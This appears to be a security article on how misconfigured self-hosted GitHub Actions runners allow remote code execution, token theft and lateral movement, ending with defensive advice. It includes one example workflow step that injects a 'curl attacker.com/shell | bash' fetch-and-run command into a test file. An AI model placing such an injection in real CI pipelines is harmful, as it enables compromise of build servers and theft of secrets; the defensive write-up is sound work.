How Misconfigured Self-Hosted GitHub Runners Turn CI/CD Pipelines Into RCE Goldmines

TLDR: Self-hosted GitHub runners are frequently misconfigured, allowing attackers to gain remote code execution and escalate privileges within CI/CD pipelines. By exploiting insecure pull request triggers and workflow permissions, researchers can extract sensitive secrets and move laterally into internal networks like vCenter or Active Directory. Security teams must prioritize ephemeral runner configurations and enforce strict least-privilege access for all GitHub Actions secrets and tokens.

CI/CD pipelines are the crown jewels of modern engineering, yet they remain one of the most overlooked attack surfaces in enterprise environments. When organizations move their build infrastructure from managed cloud runners to self-hosted instances, they often inadvertently trade security for performance or cost-savings. The recent research presented at Black Hat 2024 by Adnan Khan and John Stawinski exposes how this transition creates a systemic vulnerability that allows attackers to pivot from a simple typo-fix in a public repository to full-scale compromise of internal infrastructure.

The Mechanics of the Runner Takeover

The core issue lies in the trust model applied to self-hosted runners. Unlike GitHub-hosted runners, which are ephemeral and destroyed after every job, self-hosted runners are often persistent. They live on internal servers, frequently inside a DMZ or even deeper within the corporate network. If a repository is public and uses these runners, any user with the ability to submit a pull request can potentially execute arbitrary code on that runner.

The attack flow is deceptively simple. An attacker identifies a public repository that utilizes self-hosted runners. By submitting a pull request that modifies the workflow file, the attacker can force the runner to execute malicious commands. Because the runner is self-hosted, it does not benefit from the isolation provided by GitHub’s managed environment. Once the attacker achieves code execution, they can dump the runner’s memory, exfiltrate environment variables, and harvest GitHub Actions secrets or Personal Access Tokens (PATs).

The researchers released a tool called Gato-X, which automates the discovery and exploitation of these misconfigurations. It scans repositories to identify if they use self-hosted runners and whether those runners are ephemeral or persistent. For a pentester, this tool is invaluable for mapping the attack surface of an organization’s CI/CD footprint.

From Code Execution to Domain Admin

Achieving remote code execution on a runner is only the first step. The real danger is the lateral movement that follows. In many enterprise setups, these runners are configured with broad network access to facilitate deployments. If the runner has access to internal resources like vCenter or an Active Directory environment, the attacker can leverage the runner’s identity to move laterally.

During their research, the team demonstrated how an attacker could use a compromised runner to pivot into a Microsoft internal network. By extracting a PAT with excessive scopes, they were able to authenticate as an organization administrator, effectively gaining control over thousands of repositories. This is a classic example of Broken Access Control, where the lack of granular permissions allows a single compromised component to undermine the entire security architecture.

The payload used to achieve this is often a simple bash script that downloads a second-stage implant. A common technique involves modifying the tox.ini file or unit tests to execute commands during the build process. For example:

# Example of a malicious command injection in a workflow
run: |
  python -m tox
  # Attacker injects code into the test suite
  echo "import os; os.system('curl http://attacker.com/shell | bash')" >> tests/test_suite.py

Defending the Pipeline

Securing CI/CD pipelines requires a shift in how we view build infrastructure. First, stop treating self-hosted runners as "internal" and therefore safe. They are high-value targets that should be treated with the same rigor as production servers. If you must use self-hosted runners, ensure they are strictly ephemeral. Use tools like the Actions Runner Controller to manage runners in Kubernetes, ensuring that every job runs in a fresh, isolated container that is destroyed immediately upon completion.

Second, audit your GitHub PATs. The research found that a staggering percentage of active tokens had no expiration date and excessive scopes. Enforce the use of fine-grained tokens that limit access to specific repositories and actions. If a token only needs to read code, it should not have write access to the organization’s settings.

Finally, implement robust monitoring. While GitHub provides audit logs, they are often not ingested into a SIEM or analyzed for anomalous behavior. Look for unexpected workflow triggers, unusual network connections originating from your build servers, and unauthorized attempts to modify workflow files.

The path to a secure CI/CD environment is not paved with complex proprietary tools, but with disciplined configuration and a healthy dose of paranoia. Every public repository is a potential entry point, and every self-hosted runner is a potential bridge into your internal network. Treat your pipeline as the production environment it truly is, or prepare for the inevitable day when an attacker does it for you.